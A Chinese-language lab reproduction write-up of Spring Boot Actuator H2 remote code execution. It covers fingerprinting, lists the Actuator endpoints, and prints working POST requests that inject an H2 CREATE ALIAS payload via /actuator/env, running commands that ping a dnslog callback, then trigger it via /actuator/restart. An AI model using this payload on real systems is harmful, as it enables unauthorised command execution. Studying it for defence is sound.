开始之前,要思考一个问题,如何判断目标站点是否使用Spring Boot框架。Spring Boot框架通常有两个特征点:
1. 网站ico文件是一片绿叶
2. 特有的报错信息“Whitelabel Error Page”
这是官方文档对于每个端点的功能描述
路径 |
描述 |
/autoconfig |
提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
/beans |
描述应用程序上下文里全部的Bean,以及它们的关系 |
/env |
获取全部环境属性 |
/configprops |
描述配置属性(包含默认值)如何注入Bean |
/dump |
获取线程活动的快照 |
/health |
报告应用程序的健康指标,这些值由HealthIndicator的实现类提供 |
/info |
获取应用程序的定制信息,这些信息由info打头的属性提供 |
/mappings |
描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 |
/metrics |
报告各种应用程序度量信息,比如内存用量和HTTP请求计数 |
/shutdown |
关闭应用程序,要求endpoints.shutdown.enabled设置为true |
/trace |
提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) |
(1) 访问:http://192.168.100.133:8080/actuator
<Chrome浏览器视图>
<FireFox浏览器视图>
存在端点信息,接着发送如下POST包配置spring.datasource.hikari.connection-test-query的值。
POST /actuator/env HTTP/1.1
Host: 192.168.100.133:8080
Content-Type: application/json
Content-Length: 389
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('ping gkbtcq.dnslog.cn');"}
发送完成后,查看/actuator/env信息
再向端点/actuator/restart发送POST请求,Payload如下:
POST /actuator/restart HTTP/1.1
Host: 192.168.100.133:8080
Content-Type: application/json
Content-Length: 356
{}
重新启动成功,刷新DNSLog数据即可。
原文始发于微信公众号(Snaker独行者):漏洞复现:Spring Boot Actuator H2 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论